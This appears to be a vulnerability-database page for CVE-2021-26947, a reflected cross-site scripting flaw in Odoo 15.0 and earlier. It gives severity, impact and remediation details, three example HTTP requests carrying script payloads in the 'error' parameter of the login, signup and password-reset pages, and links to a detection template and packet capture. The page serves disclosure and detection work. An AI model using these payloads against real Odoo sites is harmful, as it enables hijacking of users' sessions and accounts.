🔙 목록으로 돌아가기

CVE-2021-26947: Odoo <= 15.0 - Cross-Site Scripting

TitleOdoo <= 15.0 - Cross-Site Scripting
Authorritikchaddha
SeverityMedium
ImpactAttackers can execute arbitrary scripts in victims' browsers, potentially stealing cookies, session tokens, or performing actions on behalf of the user.
RemediationUpdate to the latest version of Odoo where the vulnerability is fixed or apply security patches that sanitize user inputs properly.
CVSS Score6.1
EPSS Score0.31815
CVE IDCVE-2021-26947
CWE IDCWE-79
Tags cve cve2021 odoo xss

🔍 Vulnerability Description

A cross-site scripting (XSS) vulnerability in Odoo Community 15.0 and earlier and Odoo Enterprise 15.0 and earlier allows remote attackers to inject arbitrary web scripts into the browser of a victim via a crafted link. This issue could lead to the execution of malicious scripts in the context of the user’s browser session.

🌐 HTTP Request

GET /web/login?error=<script>alert(document.domain)</script> HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.2 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /web/signup?error=<img/src=x+onerror=alert(document.domain)> HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /web/reset_password?error=<svg/onload=alert(document.domain)> HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-26947.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-26947.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A